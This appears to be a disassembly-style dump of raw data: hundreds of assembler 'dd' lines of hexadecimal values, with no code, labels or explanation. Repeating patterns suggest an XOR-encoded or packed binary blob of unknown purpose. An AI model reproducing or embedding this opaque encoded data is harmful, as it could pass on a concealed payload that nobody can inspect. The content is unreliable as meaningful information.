dd 8232E2B3h, 0D0C6F285h, 8A8D1A3Fh, 1AF9807h, 1E340E74h
dd 883214E8h, 97CDE066h, 223C9B69h, 18DB1566h, 0DC321566h
dd 4CFE4AE8h, 8F8D3EF5h, 943DD56Dh, 8832153Bh, 44229F69h
dd 29DB1566h, 0F8321566h, 973D1CDCh, 12A4AB09h, 0CB52C2B1h
dd 11321561h, 0EAE34CA1h, 0ADF49AC5h, 22321563h, 0B1930D42h
dd 0CDDB743Dh, 24321566h, 2232058Eh, 41BD4866h, 3FA7813Eh
dd 17D72BDh, 0E89D7677h, 11B41A3Fh, 0D2321566h, 44349869h
dd 0E9B31566h, 5DAB3637h, 8C894607h, 45321566h, 62E9EBCh
dd 0E936D1E5h, 8833258Fh, 45B11A66h, 0DB321566h, 9CBF88EBh
dd 252137Eh, 0FA5442A9h, 436C8B97h, 923DC699h, 88321554h
dd 44389969h, 27DB1566h, 6D321566h, 64276F2Ch, 7537A0EDh
dd 2D521375h, 113213E4h, 0EDD09466h, 2510A26Eh, 221FBD8Fh
dd 12B11A66h, 0E8321566h, 0C9B9749Ah, 24212463h, 11299169h
dd 0E8521566h, 4420FC07h, 0BA441566h, 5F773FC3h, 84FE3641h
dd 80CE84D4h, 586655ACh, 14879C07h, 87340657h, 44321DE9h
dd 20BE1A66h, 71321566h, 98B41A07h, 24321566h, 2232108Eh
dd 792D2766h, 876C6075h, 1253C2D9h, 0F67914D8h, 0E8DC947Bh
dd 9216526h, 63EC090h, 42F49406h, 103EEB9Ah, 791B4B97h
dd 470FFCE7h, 4AC76243h, 11321566h, 0C1611E7h, 6D7E9B75h
dd 0EB3316Ah, 9F219142h, 87524C2Ah, 443211EBh, 648B7366h
dd 16DB754Fh, 9E321566h, 0F74696Ah, 4353437Bh, 3C8DD3E7h
dd 66B37643h, 63A1A29h, 0E4B3DB4Fh, 533A1A29h, 0A58DFBE7h
dd 0C03D7643h, 22321567h, 0E996E69Ah, 77CEBD8Fh, 4439FC99h
dd 87421566h, 721F85D4h, 0A9AC810Dh, 8BAF98FAh, 0D7340CFFh
dd 9D3DC699h, 88321567h, 57997D93h, 1EBB1566h, 19DB4D42h
dd 0AD321566h, 2AA583B7h, 0CB67AF0Bh, 11321563h, 0A8F9595Ch
dd 0B1B73E75h, 0CB340678h, 11321577h, 56543080h, 16A7541Ch
dd 3F8EA420h, 0C39C0F7h, 11B79CF0h, 0AD34064Fh, 22321561h
dd 0A492EE21h, 3607D7Eh, 572CE0E3h, 34B31A60h, 0F8321566h
dd 88321577h, 7FDD7E8Ah, 97A8EB94h, 84CEC5ECh, 0DEC839C9h
dd 0A3BB42E5h, 2236D2E7h, 0FEB31566h, 88321562h, 181629E1h
dd 2D1629EFh, 113201EDh, 80DB7566h, 0C0321566h, 0D1B8039Eh
dd 772F5310h, 0DD37C5E7h, 7C727D07h, 26BB1566h, 1BE1A42h
dd 0E8321566h, 4432138Eh, 56D2C966h, 4AA956EFh, 553FDD5h
dd 5DA9F8EBh, 23B61A60h, 0E8321566h, 3CEC499h, 573E04E3h
dd 0F2B87560h, 0AF31C7E7h, 0DD5322B2h, 81B3F0EFh, 22321562h
dd 9636F8E5h, 16E314Ah, 48DB3162h, 0D321566h, 53131997h
dd 93D9E06h, 13226C9Fh, 0E5B3F2EFh, 11321562h, 8836FAE7h
dd 78B51566h, 1EBB4942h, 0D9B27542h, 88E1956Ah, 4B627507h
dd 223215E0h, 0AF544D66h, 35386D2h, 572CE0E3h, 2221FC60h
dd 53F81566h, 0D28525Dh, 5E13E121h, 0E34B6D39h, 8DE3DECDh
dd 68BB454Fh, 44321163h, 22363866h, 15B51566h, 8CBB4942h
dd 49B11A42h, 42321566h, 0D2F59400h, 88BB1A94h, 25321566h
dd 0BF0298EBh, 7152137Fh, 84DB7406h, 94321566h, 0BF416875h
dd 0D03A6FF9h, 0E9E32E42h, 44321B8Fh, 58462E66h, 3AD53579h
dd 0C2FE5495h, 250C76CCh, 0A63DC499h, 11321570h, 8832048Fh
dd 3033A766h, 7F8BA11Eh, 8D7E7083h, 344F07BCh, 0A8B18B4Fh
dd 6369C62h, 0C81621E7h
dd 0D26AE407h, 25EBE7E7h, 0CB524D97h, 1132156Ah, 0FB9D3744h
dd 0AEA1CCD1h, 749DCA6Fh, 4153C3EDh, 0E31611E7h, 1D386F0Bh
dd 4F59AB30h, 0E01B1F1Ch, 82DB7538h, 27321566h, 83918965h
dd 9278025Fh, 8BB61A4Ch, 4B321566h, 953CFD9h, 23E04EBh
dd 84BE1A60h, 4B321566h, 223213E0h, 11B81A66h, 0B321566h
dd 573BF4DBh, 0A63D1560h, 113215F6h, 8EB71A06h, 4B321566h
dd 223215E3h, 9C3D7466h, 88321567h, 49B79E9Ah, 0D7340643h
dd 18D3904Dh, 86DB1375h, 9D321566h, 2665BE0Bh, 93C68714h
dd 6C0225FAh, 4BF32E64h, 223246E0h, 10B21A66h, 74321566h
dd 679B90EDh, 27DB1375h, 93321566h, 170467C6h, 44321E8Fh
dd 97305066h, 9BAAD064h, 6DFA11C3h, 4DD39065h, 2DCE1375h
dd 113214E8h, 0DBBE066h, 42211597h, 2348FC9Ah, 1CDB1566h
dd 4B321566h, 0C1D802BFh, 926242F1h, 98076010h, 8831C90Eh
dd 603E9C66h, 2237FC06h, 830C1566h, 3A32DEEh, 0CD6574BEh
dd 16B342A9h, 0CA35C642h, 5B074D20h, 1B74CE61h, 95E79506h
dd 70F4A269h, 0A5ADAE35h, 0AFB34A56h, 7D0238C6h, 0F869CD67h
dd 88321569h, 2B9314AFh, 22010CC6h, 45F91599h, 0B323821h
dd 58BB118Ah, 2DCDAE42h, 0C93B1566h, 3765E93Dh, 44321567h
dd 0CB6DED67h, 11321560h, 0DA8FB7Ah, 0C1BB37A1h, 2421306Bh
dd 11359469h, 0B3D1566h, 44321567h, 1FB7149Fh, 0F834066Fh
dd 8832156Dh, 0B5C14E44h, 0A0D0B6Eh, 0D6A0693Eh, 9B3BF4E3h
dd 44321560h, 0AB3D7566h, 11321564h, 6060C3EDh, 4432156Dh
dd 77BCBF11h, 0FA83FAA7h, 0D3BB43E6h, 458743Eh, 223E9F69h
dd 913D1566h, 88321560h, 44329D69h, 225A1566h, 71321576h
dd 0E9FCA793h, 442CD70Eh, 63E9C66h, 0F8327F9Eh, 8832156Fh
dd 3FA8092Bh, 1379CF21h, 0B8A7EA38h, 8734067Bh, 443214E5h
dd 0DDC7E066h, 21EC8F3h, 84BE1A60h, 24321566h, 4DC6BAD8h
dd 83D5AD59h, 15331FFh, 5711BCE3h, 24DB7560h, 0D9321566h
dd 8B5D8F9Eh, 0D48D736Eh, 0A73D7402h, 1132156Bh, 88BE1A06h
dd 22321566h, 8C5FD6E7h, 0E0B79C07h, 7D340666h, 171619EDh
dd 0E1B3F6EFh, 11321562h, 0F36D6E5h, 0BD6E317Ah, 22C3A099h
dd 71CA1375h, 8832138Eh, 0CC56FD66h, 0CAD97F4Ch, 1132156Dh
dd 7A177F22h, 2B37F8DEh, 7A7B11E2h, 1137FC3Fh, 298C1566h
dd 25F93968h, 2E23A099h, 79C71375h, 883233B9h, 0B11629EFh
dd 24B71A06h, 90321566h, 2C3AEABEh, 9C851A32h, 0D787EA07h
dd 0E4340678h, 30BC90EBh, 4B52137Fh, 223218E7h, 1135FD66h
dd 745B1566h, 0AD0EC31Ah, 0DD534FA6h, 9C33EDB6h, 8E211C87h
dd 44389169h, 27DB1566h, 0D2321566h, 152AE507h, 44C3A8EDh
dd 0A13D1375h, 1132156Eh, 52F09406h, 2500CC20h, 2E23A0EDh
dd 1CDB1375h, 4A321566h, 8B402E09h, 0E6657E32h, 8D6C821h
dd 8832018Fh, 679D8766h, 92E5BCB2h, 3E66A631h, 67B3B822h
dd 0FA8D997h, 4296E617h, 9FBFAD00h, 3DB97493h, 42210CEFh
dd 0CA52B893h, 11321575h, 85823851h, 3AC16751h, 394249BDh
dd 3B9AAA26h, 84D956Ch, 0AD6A79ADh, 22321572h, 0A3173FE3h
dd 12B16F76h, 9E237F1Eh, 8E72A793h, 6E932462h, 883CFC07h
dd 0DA531566h, 5E76B582h, 80BBF738h, 18FFCC4Fh, 42FDAA31h
dd 64F54A1Ah, 6D34DA9Ah, 74894639h, 45CDEA99h, 79092495h
dd 113AFC39h, 0CAD31566h, 879D27C6h, 0E2F314F0h, 48657563h
dd 8CDE9407h, 0CD321566h, 48C3152h, 0D00C4D20h, 4EB31180h
dd 0D79DA2CFh, 426CE567h, 11321D8Fh, 213F2F66h, 0D02329F8h
dd 2CDB749Ah, 0A2321566h, 14D61F30h, 3C4614D4h, 0C76FACD2h
dd 0A8B71603h, 0E834066Dh, 0CF530AD2h, 3132E4EBh, 0DA8B7560h
dd 617FFD32h, 44321568h, 9CDF86ACh, 48C7FE62h, 0DE847F71h
dd 2453F7D1h, 7363749Eh, 41371DFh, 0AC7E1447h, 44BD4C62h
dd 3563DE7h, 0DB3473h, 7A321566h, 8A3B8E1Fh, 0B3692DF4h
dd 0B537B58Dh, 0BAE91148h, 2C62ECCBh, 70523DDEh, 901611EDh
dd 883211A2h, 6C8A3866h, 64BB4706h, 0F8CB4D9Ah, 88321561h
dd 7449281Ch, 0AB8C913Fh, 22B9CD3h, 82B01A60h, 0AD321566h
dd 22321563h, 0BF002C24h, 77CA96DFh, 44B79069h, 0CA521566h
dd 11321560h, 65FEF4Bh, 0FF5433F0h, 2D6BF312h, 0F853EED9h
dd 8832156Eh, 76925787h, 23A4D6C9h, 0CCEF2BE7h, 0D3DC8BBh
dd 44321531h, 22321E8Fh, 92D79E66h, 4ACC7FC9h, 64BEE553h
dd 9C644693h, 16F65C5Ah, 4C7B29DDh, 1AC13C61h, 42690BEFh
dd 155A4407h, 0D1321566h, 4B6BDB67h, 22321EEBh, 1134FC66h
dd 0E2FE1566h, 0AF96E5FBh, 3BBBA0EFh, 0F8CB1375h, 77CDC171h
dd 58BFAD06h, 9A542471h, 0D0537187h, 83DB16A6h, 89321566h
dd 13A8A751h, 66DA6F19h, 0D31032Ah, 42211EDFh, 223E9569h
dd 953D1566h, 88321560h, 44329769h, 9FB11566h, 172125EFh
dd 1BB61A67h, 4B321565h, 223214EBh, 2FB3E066h, 2298BFCCh
dd 44979069h, 32DB1566h, 52321566h, 1CA2B61Bh, 677784CBh
dd 617097CCh, 7939BA6Ch, 88327F9Fh, 0FE1601EFh, 22321562h
dd 1E68C367h, 883212ECh, 45BA1A66h, 0D7321566h, 6F35A833h
dd 55C5503Dh, 0A1E3C091h, 2180F0E7h, 907F01DAh, 3BCDEA8Bh
dd 2BD4066h, 0A13D489Ah, 11321574h, 883E9F69h, 43DB1566h
dd 49321566h, 1C584933h, 7003FCBFh, 0BC03D257h, 0AAF19406h
dd 0F86E42E5h, 88321575h, 6622CF6h, 0D3EDDE1Fh, 0B6A333Ah
dd 0D293C776h, 2540CA10h, 73DBA235h, 0D9BAECEEh, 61C74E3Fh
dd 44321526h, 22339F69h, 20C71566h, 0B9F5249Eh, 4082E99Eh
dd 0CAF2FC42h, 0D0814665h, 0A469CD6Eh, 59B51ABFh, 42321566h
dd 1132018Fh, 3727CA66h, 53F09571h, 50C657CBh, 699B8A44h
dd 70B98EF5h, 2585A0A1h, 227B270Eh, 35369C66h, 8832188Fh
dd 0C10F066h, 33DF7956h, 1E2C0D3Dh, 35B196BCh, 42210F13h
dd 74B61A67h, 71321567h, 18E99431h, 1B61292Eh, 7053CFEDh
dd 66887D30h, 96C384Dh, 0B037F80h, 8C49404h, 98121E56h
dd 58BB4B94h, 443EFC3Ch, 0F4011566h, 340EA73Fh, 0CFE88EB2h
dd 0F9B144E5h, 2428816Fh, 26B61A66h, 7D321566h, 895888EBh
dd 4452137Fh, 0D3B8CBEDh, 87607507h, 443215EAh, 33DB4C66h
dd 0A1321566h, 0E14615E4h, 284A69F8h, 0DB93F613h, 1E19563Fh
dd 87E1EA07h, 443214E9h, 1DB2E066h, 43B61AF6h, 61321566h
dd 44321576h, 7E024D8Ah, 97DFDE51h, 657453C7h, 0EBF57D75h
dd 2237A833h, 0FEB31566h, 0B9465BE0h, 83B3FA67h, 13465BE0h
dd 2BB1A3Bh, 61321566h, 44321568h, 3D7DF4C0h, 0F73503C9h
dd 5005D6F8h, 0EBDBE122h, 42321567h, 77EBA269h, 2D62CAE7h
dd 14CA9607h, 22459769h, 9C3D1566h, 8832157Ah, 86851A06h
dd 2232078Fh, 0E6897666h, 0DD39B8F0h, 9DCEC1Ah, 6C910648h
dd 70B447B3h, 38A6A734h, 1EE23D8Dh, 0E231F5A6h, 9E36128Eh
dd 88389B69h, 24521566h, 22BA1A07h, 70321566h, 888C75CCh
dd 0C550BEEFh, 0D207E588h, 15B97443h, 6EBB4342h, 4436D3E7h
dd 0E4B31566h, 11321562h, 0D41621E1h, 1ECA4506h, 8AC9AD00h
dd 0F8CEBF07h, 883215D6h, 6006EA93h, 26F6963Eh, 7752BF9Ah
dd 871D89DFh, 443214EBh, 0A253E966h, 1EDBEA19h, 88329AE3h
dd 0ACCA7566h, 22321577h, 62528FBDh, 9C8AF670h, 0D9DC1C1Dh
dd 94F22F8Ah, 1123FC0Ah
dd 5E551566h, 0C8401A3h, 13FE83A2h, 0EECEA77Fh, 0D64F7F4Ah
dd 4D8F9607h, 22340FF2h, 111E9169h, 5C71566h, 5DFE55FBh
dd 223FFC60h, 0B77B1566h, 4CF0F237h, 15A19B26h, 0DDB8B50Ch
dd 0AE3D75B5h, 8835FCBFh, 0B9601566h, 63D5F3E8h, 0A863741Eh
dd 88321562h, 0CC60EC67h, 78239DA4h, 0BC1A3Fh, 61321566h
dd 4432156Ah, 859B91A4h, 739DBEA3h, 0CD80AD47h, 44C390EDh
dd 30DB1375h, 0C5321566h, 696CF855h, 93A6D771h, 141AB893h
dd 1133D393h, 8823FCDBh, 0B5041566h, 51D22473h, 671124F0h
dd 62016E50h, 694E08CFh, 5DC96FF4h, 142C1A4Bh, 8DCA3C7Ch
dd 5E370B69h, 0D9488763h, 113BFC19h, 47D51566h, 0A421B095h
dd 0A1B3F163h, 0DBB118Ah, 8836AE42h, 9C1B1566h, 2238FC3Dh
dd 78611566h, 0C428A95h, 8EC50A81h, 429FE9CDh, 1CDAE6EDh
dd 0B7321566h, 7EFE8404h, 9C50EFC6h, 22E96675h, 0D8637438h
dd 2C3C09DEh, 44F2AC36h, 0D033A99Ch, 7474D23Eh, 495061BAh
dd 7BCE5B57h, 0EA6BFC9Ah, 0E3DEA99h, 44321561h, 22339569h
dd 98CE1566h, 9B2B9CD3h, 43B11A60h, 2D321566h, 113214E7h
dd 164E066h, 40F49480h, 0A1321566h, 25B51188h, 9CBB4942h
dd 4CBB1A42h, 42321566h, 11329469h, 0E0531566h, 44329566h
dd 223E9E69h, 9E3D1566h, 88321560h, 44329069h, 0A53D1566h
dd 1132157Fh, 8832018Fh, 711B1066h, 7683FBF3h, 0F353D003h
dd 0EEFAFA44h, 6263A23Dh, 2D327F1Dh, 113212E1h, 3547566h
dd 25F59E98h, 2F1BA099h, 1ADB1375h, 0F1321566h, 102A54E1h
dd 6A9D6494h, 84CDB5F1h, 8E211453h, 44359869h, 0A13D1566h
dd 11321567h, 0AC06EA9Fh, 40F6963Ch, 6BBF9E9Eh, 71340676h
dd 8832058Fh, 92DF0E66h, 1887DF05h, 863F579h, 86B63CF4h
dd 225274BFh, 0A354CDEDh, 705C1C8Dh, 8832AA31h, 7DBB1566h
dd 0A11629EDh, 46CB11A2h, 883211D9h, 0CFCB1466h, 0E6B3315Ah
dd 11321562h, 40851A06h, 44321E8Eh, 92DE6666h, 1A0CDE74h
dd 64CADF2Ah, 44329069h, 436A1566h, 58BF9C9Eh, 61340676h
dd 44321560h, 32D71351h, 0FEDB4091h, 71CDEAA1h, 4418EB8Fh
dd 4252ED66h, 0F885F2E6h, 88321569h, 8813FB23h, 53FC334Ch
dd 24E1EFB5h, 0E92FCA61h, 547B98EDh, 74521375h, 11329869h
dd 0E8691566h, 4432018Fh, 0F1E94666h, 62C0FB62h, 625F8BCEh
dd 0F00C9FE5h, 59D6D231h, 0CE851ADFh, 0DA617407h, 443215DCh
dd 78E19C66h, 1AB9DE67h, 89B91A3Dh, 0BC321566h, 0B63798EFh
dd 0F852137Ch, 88321575h, 0B8A6045Ah, 0E7AD7B9Fh, 0F69843F5h
dd 0F3488DF3h, 0ADDCBA01h, 22321576h, 4589771Fh, 0EFDE8D11h
dd 581AF6A0h, 0E7BCBC1h, 5F0A9407h, 877E5132h, 44329CE3h
dd 223BFC66h, 2A111566h, 0E68B42E0h, 22007939h, 6E366DE7h
dd 7EB71A48h, 74321566h, 60369436h, 46967D52h, 68F4038h
dd 918E418h, 9B7553ABh, 27D7D45Fh, 0D4B3C091h, 0CD386A08h
dd 0B88BE0E7h, 0CC1BB4D8h, 40CEEC3Bh, 883213DFh, 0CFFC1466h
dd 0E6B3316Ah, 11321562h, 883A9769h, 0C43D1566h, 22321564h
dd 94B97406h, 8E2101ABh, 4127FC9Ah, 0A13D1566h, 11321574h
dd 8832188Fh, 18AA1266h, 737636F9h, 0D9CA2313h, 9629E7Fh
dd 4E33152h, 706C0B87h, 92728EDCh, 0C2C0942Ah, 75607766h
dd 72CA4FB0h, 901601EDh, 883211A2h, 0C5527566h, 1740098Ch
dd 20537479h, 83B11AAFh, 24321566h, 22329169h, 9A541566h
dd 719E74B1h, 0C03D155Ah, 22321429h, 1E1F299Eh, 77CDF8E2h
dd 4420FC99h, 62101566h, 94A5C65Ah, 1ACBCD94h, 961FCCAFh
dd 0BB18A9Ah, 0C8C49406h, 32A1491h, 6A0E74A5h, 22D39169h
dd 2DCB1566h, 0ADB01A56h, 24321563h, 2CDBF0ECh, 0E7321566h
dd 0A03083E4h, 0A05F5D43h, 0B1C53B0Fh, 280E74EEh, 77AE9369h
dd 0ADCAEA99h, 22321574h, 3C71CE05h, 22C56A02h, 33BA7268h
dd 0DC72C18Ah, 500EA0BEh, 8CD49769h, 0CB3D1566h, 2232156Bh
dd 11321D8Fh, 0B5A5AE66h, 0CE4EA550h, 2D6829F7h, 0EECD74E0h
dd 43D7599h, 44321565h, 99E59E00h, 36A43A4Fh, 876D2907h
dd 0BBCD5CE2h, 0AB3D7599h, 11321565h, 61EC9E00h, 44321563h
dd 0A08381B2h, 715274D1h, 0E8F9A269h, 0FC547407h, 1E53FDB1h
dd 98B01A07h, 70321562h, 4B48299Fh, 0DDCD00E0h, 2BA1A99h
dd 61321566h, 44321568h, 0A699E9F8h, 0CE3FFD56h, 85AFFCE5h
dd 0C93D8124h, 22321567h, 1568FC9Fh, 0D3D1566h, 44321561h
dd 22339D69h, 44CA1566h, 883214DBh, 19D81466h, 0D00BE99Fh
dd 15089169h, 0EE521566h, 1753E6EDh, 0DDCDEADDh, 4AE81499h
dd 898A459Eh, 45321566h, 0CBC74DA7h, 0EECDEBD4h, 9C8B7306h
dd 0DFF4ABE9h, 0A7530B2Bh, 18B61AAFh, 87321562h, 443212E5h
dd 23B01A66h, 0E9321566h, 65CBAA06h, 25CA1C1Bh, 227BA0EBh
dd 9A3D1375h, 88321577h, 4432198Fh, 3F07B466h, 4B5F1BF6h
dd 4115114Ch, 92BB4362h, 16B9E4EFh, 15F69442h, 87321566h
dd 443212EAh, 43527566h, 70F1AA69h, 16B4737h, 0AC524CA9h
dd 2232156Bh, 0D370EE7Fh, 3CFF20B7h, 2FB2A3DAh, 223DFCD5h
dd 0AEAC1566h, 0A6BF5380h, 2342CD35h, 155C94ACh, 40534A7Bh
dd 0BE821DD3h, 48B9FD4Eh, 26F69642h, 11349569h, 3521566h
dd 25E49E95h, 0DF47BB93h, 11339E69h, 0E8CE1566h, 0A90FAF00h
dd 0A35364D7h, 0D241D28Fh, 7DB946Ah, 6D642A2Ah, 0ADF3949Fh
dd 90642A2Ah, 4B41D2A7h, 443FFC6Ah, 93571566h, 50CBEC67h
dd 7ADF6A7Ch, 15A91696h, 0D56F4C33h, 0E8DB92BBh, 0E731FAE7h
dd 0ABB300D3h, 630502F7h, 0D6B3DA4Fh, 0C90502F7h, 2B31D2E7h
dd 0A03D00D3h, 1132156Fh, 36E69F06h, 145120DEh, 223BFC07h
dd 9E541566h, 0BFDB9805h, 13C62048h, 226E010Eh, 35069C66h
dd 61524B39h, 4432156Ah, 5CEAB4C6h, 0ED437434h, 0C8850142h
dd 44379969h, 0EE8D1566h, 70734C9Eh, 6196E69Eh, 4432156Ch
dd 0FFDAF5E6h, 0DBDC5909h, 952C034h, 92A12F8Ch, 0C5B37367h
dd 795311B0h, 88325480h, 0F41611EFh, 0DD759D66h, 9CCAEC3Eh
dd 9B325CF3h, 4422FC60h, 0AF221566h, 0C24D02Eh, 75D35155h
dd 77EF713Dh, 0A13D6DE2h, 1132156Ah, 88349A69h, 0C03D1566h
dd 22321566h, 0FE790EDh, 0DC71375h, 0C6B71AA6h, 0DB321566h
dd 0D390A0h, 61751375h, 44321569h, 8D21CF99h, 0AA838ADCh
dd 0A09925BBh, 2CCACB52h, 0F6A8B2B4h, 1AD89506h, 88321A8Fh
dd 0C1B86D66h, 0CD19F611h, 7EB28F1Dh, 0B27AC9AFh, 0AD87EA07h
dd 42340678h, 8F2AC3E7h, 71B977F3h, 77B79807h, 0CB34031Ah
dd 1132156Ch, 69D29A0Bh, 3BEBCEE7h, 0DDCAC574h, 19B81AB6h
dd 87321566h, 443217EEh, 0CB537566h, 1132156Bh, 4F4899C4h
dd 0A695D5B7h, 1DEC19Eh, 0F6BB42E5h, 8836D2E7h, 0ABB31566h
dd 22321562h, 4D1629E1h, 611601EFh, 44321576h, 0CD5B22BCh
dd 0FC6971EFh, 0C50CA070h, 87E49818h, 0A43DC599h, 1132157Eh
dd 8832068Fh, 4D52C566h, 0B46A3733h, 0FA9F631Eh, 0A3400ADAh
dd 9BC87BAh, 0A73DD5E3h, 113215B9h, 0E9FC9E06h, 55DF90EDh
dd 2BDB1375h, 80321566h, 2842AE28h, 720ED76h, 0A73DD5E3h
dd 11321532h, 8832138Fh, 0BEAE7966h, 0E4B18B40h, 223F4E3h
dd 0F3D5960h, 4432156Eh, 44D09F06h, 7030DEDFh, 522EFC0Eh
dd 0F1CDECBFh, 24210B8Fh, 22B79893h, 0E834031Ah, 0B5851A35h
dd 24B31A3Dh, 90321566h
dd 3E4A7E97h, 94CD742Eh, 2232128Fh, 7A75A766h, 87A1D9DEh
dd 0C5D19C35h, 223211A5h, 15D99466h, 0F321566h, 0CD6E317Ah
dd 0A2523172h, 9A54E380h, 58CD74BEh, 44359C69h, 0A13D1566h
dd 11321567h, 82BF1A9Ah, 0AD321566h, 22321563h, 7C6A8AEDh
dd 87F29092h, 443233E3h, 32B71A66h, 71321566h, 8832128Fh
dd 8DB45066h, 0A7A9A053h, 0F8537406h, 883215DEh, 7C8C7306h
dd 5092AF63h, 9853617Ah, 92A610E3h, 4BCE7560h, 4A53DDD1h
dd 11324B2Ch, 0E81611EFh, 79B3FBE7h, 43C71F0Ch, 1142690Eh
dd 0AC069C66h, 4432108Fh, 9B284666h, 94BF8AADh, 8E2487ADh
dd 443B9669h, 0D7521566h, 2B90DAE7h, 875371EFh, 443218E4h
dd 223AFC66h, 39AA1566h, 413DF69Dh, 94CD9F5Ah, 2232078Fh
dd 57201866h, 0A35BCE17h, 0D3FEC94Bh, 0DA11A632h, 1A715CC9h
dd 97B71AA6h, 0B8321566h, 22323A8Fh, 1126FC66h, 2911566h
dd 0A09E3538h, 1EBD6C68h, 0EE671176h, 78B75829h, 0BB47DAh
dd 0A03D0942h, 1132156Ah, 88349A69h, 0C93D1566h, 22321566h
dd 1ECB7507h, 883215E9h, 0BDF17466h, 0AFB9EC06h, 17288163h
dd 0E9C29E06h, 4418920Eh, 6369C66h, 1123FD06h, 0BD521566h
dd 6E63C6F0h, 0F482E52Fh, 2926A2AEh, 0D0E84F1Bh, 0B1534D36h
dd 0AB6F4433h, 9152488Eh, 0DB5387B6h, 443229DDh, 0B6D99466h
dd 100EB73Ah, 1CF194A5h, 470EB73Ah, 0AB3D4E65h, 1132157Ah
dd 88BE1A06h, 0AD321566h, 22321569h, 228FEDD7h, 18DF282h
dd 5D1501F2h, 4395BBFEh, 11BAA599h, 9CB91566h, 40F69442h
dd 0CB321566h, 11321569h, 8080D8F5h, 0D73D586Fh, 0D5C5CA6h
dd 985D43D8h, 9B3DE0F3h, 4BDBE060h, 3C321566h, 0D8B1EA1Fh
dd 871F11CEh, 9C260215h, 7367181Dh, 7F4F0CDFh, 5EF39468h
dd 0B3625463h, 20DBD4BFh, 0C0C5C491h, 0CCEEE4E7h, 89BB69FDh
dd 0D7B3583Fh, 2FA54A63h, 0CD7FF0B7h, 0B3E6D0E7h, 0CA333E29h
dd 18DB753Bh, 0D9321566h, 5FC85EB3h, 0BCECB724h, 113FFC07h
dd 0A2321566h, 1C15F874h, 8A7B6783h, 4242CAE2h, 883219DDh
dd 0CFF11466h, 62E9E75h, 1E36D1E5h, 883204E8h, 443EFC66h
dd 6F7F1566h, 6E5E6FEDh, 8DA92069h, 0D1BB11ABh, 24211C8Fh
dd 11321B8Fh, 78E6E66h, 705E1C3Fh, 0DC1B49E4h, 0ED9BCB61h
dd 0D0162199h, 4436D1E7h, 0A43D1566h, 11321567h, 0AC46EA9Ah
dd 60369E42h, 2236D1E7h, 18DB1566h, 0CD321566h, 2EED0B4Eh
dd 9A55AB28h, 0C53AC863h, 0DEFA3C44h, 903AC8D8h, 7CC23C44h
dd 1132198Fh, 57FF7B66h, 2EE30425h, 0E9626D46h, 0F8B72E62h
dd 8734066Fh, 44324FE4h, 25BF1A66h, 1E321566h, 883214E9h
dd 0C109EC66h, 24211A93h, 11739669h, 13D1566h, 4432156Ch
dd 22B81A06h, 9A321566h, 0E85374A5h, 7B89D2D6h, 436CF183h
dd 713211A4h, 9B2C3E7h, 0AD524530h, 22321569h, 0BD9B6E12h
dd 0B78C4359h, 0D5C5F96Eh, 2DB1F1E9h, 113215E1h, 0E9537466h
dd 12ED9E06h, 2232068Fh, 0F01FBB66h, 2BAAC162h, 0F8D4809Bh
dd 0F73938AEh, 69BBAEEBh, 6052743Fh, 44321572h, 0DBC21D65h
dd 0F3482CDCh, 12BFEF2Bh, 0F35F3884h, 45A647C5h, 1132068Eh
dd 0BC5F8D66h, 0F31628ABh, 0C2B0C536h, 211A92FCh, 343EC36Ah
dd 0B48B4D3Eh, 4318D5F3h, 1136F9E7h, 94BB1566h, 4432AE42h
dd 7EBB1566h, 71691142h, 8832018Eh, 0B8593E66h, 46AD5200h
dd 1B478887h, 0E5391027h, 58FA9073h, 22B51A21h, 4F321566h
dd 0CCF5EC07h, 7B941142h, 66B523F1h, 0C1C51142h, 8C1651E1h
dd 401661E7h, 0EB5AD53Fh, 11219969h, 86DB1566h, 37321566h
dd 660C60Fh, 0FFD813F4h, 0A9A125Eh, 0F967442Eh, 78E9588Bh
dd 612521DFh, 0D5DB2404h, 0EF68C9DEh, 7BFA245Eh, 11359669h
dd 13D1566h, 44321567h, 0AFBFE99Fh, 17215AEBh, 9DBC1A06h
dd 0AD321566h, 22321576h, 6BDEC8D9h, 151CBA41h, 4FB5C6CAh
dd 0C8403981h, 11319F69h, 3541566h, 2452749Fh, 0A353E993h
dd 2FB5B4A1h, 69CD742Fh, 4432128Fh, 127F8566h, 69A917DDh
dd 8820FC06h, 0D3771566h, 0E2D23D71h, 400604BAh, 1C78E63h
dd 9066AF84h, 0AB36F9E5h, 118B316Ah, 89321566h, 1D339F97h
dd 2DDB2993h, 11332FE2h, 373D7566h, 46B11AA9h, 90321566h
dd 2DCA74D4h, 0F0B61A8Eh, 0B8321567h, 0A63D1A5Ah, 1132153Eh
dd 8832198Fh, 0C08D1966h, 5F05DB32h, 2D735669h, 87FF29A4h
dd 4433C4E2h, 23BA1A66h, 0E8321566h, 0C3DFE5Ah, 44321494h
dd 9A8B7306h, 0EAB9732Fh, 63D7407h, 44321576h, 22321E8Fh
dd 0C3F6D166h, 6FFD0EABh, 87F3F4C6h, 0AB3D75A5h, 11321567h
dd 0D2D9949Ah, 253B1EE0h, 2233AF34h, 0E3331566h, 9CB90FECh
dd 40F69642h, 0D284479Eh, 5B9E646h, 8CF69442h, 4B321566h
dd 223214EBh, 5DBE966h, 0C3321566h, 0C505F7D2h, 292B5D37h
dd 0FFCC8E7h, 62A3ED83h, 0C414C7D9h, 0A73D959Dh, 0EECDEAF7h
dd 3361439Fh, 4F8C20BBh, 26164967h, 0FAB34E3Dh, 838C20BBh
dd 4432198Fh, 9C4A9B66h, 18C3178Fh, 0F8B18DD2h, 0FD63471Eh
dd 22321560h, 106BDFEFh, 0D8CA4FB5h, 443217DEh, 73C21466h
dd 113215DFh, 8BF31466h, 246A4C7Fh, 2234FC06h, 2B9B1566h
dd 1DC0E5FDh, 259FFEE6h, 22321B8Fh, 3C84A666h, 0D597489Fh
dd 267801DFh, 43682F48h, 1132D78Fh, 60807566h, 0EC2536DCh
dd 73CE7471h, 0D213CADFh, 86FB9470h, 550C91Dh, 0CBB3C491h
dd 98129178h, 91B9E467h, 56BA1A3Fh, 42321566h, 1132128Eh
dd 0AAE52E66h, 0E7D77EB4h, 83C6953Dh, 0EAB1ED07h, 61B61A9Dh
dd 0AD321566h, 2232156Eh, 1982F709h, 98A475F1h, 9D8D1A06h
dd 0A66AFDE7h, 41534945h, 4BBB4D30h, 49BF1A3Eh, 0CB321566h
dd 1132156Eh, 7D0F31F5h, 2FA15D1Dh, 0FD5A4636h, 4A696D4Bh
dd 69C19425h, 0CD696D4Bh, 0D2334EBEh, 716A0D65h, 0E8E3A269h
dd 44329C69h, 0A63D1566h, 11321566h, 85DB7407h, 90321566h
